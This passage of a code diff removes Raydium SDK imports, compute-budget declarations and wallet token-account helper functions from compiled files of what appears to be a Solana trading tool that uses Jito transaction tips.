- const { publicKey, nonce } = findProgramAddress([owner.toBuffer(), programId.toBuffer(), mint.toBuffer()], new PublicKey("ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL"));
91
- return { publicKey, nonce };
92
- }
93
32
  export const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
@@ -1,9 +1,6 @@
1
1
  /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
- import { ComputeBudgetConfig } from "@raydium-io/raydium-sdk";
3
2
  import { TransactionInfo } from "../instructions/build-instruction";
4
3
  import { Connection } from "@solana/web3.js";
5
4
  export declare const sell_remove_fees = 5000000;
6
- export declare function getComputeBudgetConfig(): Promise<ComputeBudgetConfig | undefined>;
7
- export declare function getComputeBudgetConfigHigh(): Promise<ComputeBudgetConfig | undefined>;
8
5
  export declare function getLamports(decimal: number): number;
9
6
  export declare function setTransactionBudget(connection: Connection, transactions: TransactionInfo[], tip: number): Promise<TransactionInfo[] | undefined>;
@@ -1,8 +1,5 @@
1
- /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
1
  import { Connection, PublicKey } from "@solana/web3.js";
3
- import { TokenAccount } from "@raydium-io/raydium-sdk";
4
2
  import BN from "bn.js";
5
- export declare function getWalletTokenAccount(connection: Connection, wallet: PublicKey): Promise<TokenAccount[]>;
6
3
  export declare function getATAAddress(programId: PublicKey, owner: PublicKey, mint: PublicKey): {
7
4
  publicKey: PublicKey;
8
5
  nonce: number;
@@ -7,26 +7,9 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
7
7
  step((generator = generator.apply(thisArg, _arguments || [])).next());
8
8
  });
9
9
  };
10
- import { PublicKey } from "@solana/web3.js";
11
- import { TOKEN_PROGRAM_ID, SPL_ACCOUNT_LAYOUT, findProgramAddress } from "@raydium-io/raydium-sdk";
12
10
  import BN from "bn.js";
13
11
  import BigNumber from "bignumber.js";
14
- export function getWalletTokenAccount(connection, wallet) {
15
- return __awaiter(this, void 0, void 0, function* () {
16
- const walletTokenAccount = yield connection.getTokenAccountsByOwner(wallet, {
17
- programId: TOKEN_PROGRAM_ID
18
- });
19
- return walletTokenAccount.value.map((i) => ({
20
- pubkey: i.pubkey,
21
- programId: i.account.owner,
22
- accountInfo: SPL_ACCOUNT_LAYOUT.decode(i.account.data)
23
- }));
24
- });
25
- }
26
- export function getATAAddress(programId, owner, mint) {
27
- const { publicKey, nonce } = findProgramAddress([owner.toBuffer(), programId.toBuffer(), mint.toBuffer()], new PublicKey("ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL"));
28
- return { publicKey, nonce };
29
- }
12
+
30
13
  export const xWeiAmount = (amount, decimals) => {
31
14
  return new BN(new BigNumber(amount.toString() + "e" + decimals.toString()).toFixed(0));
32
15
  };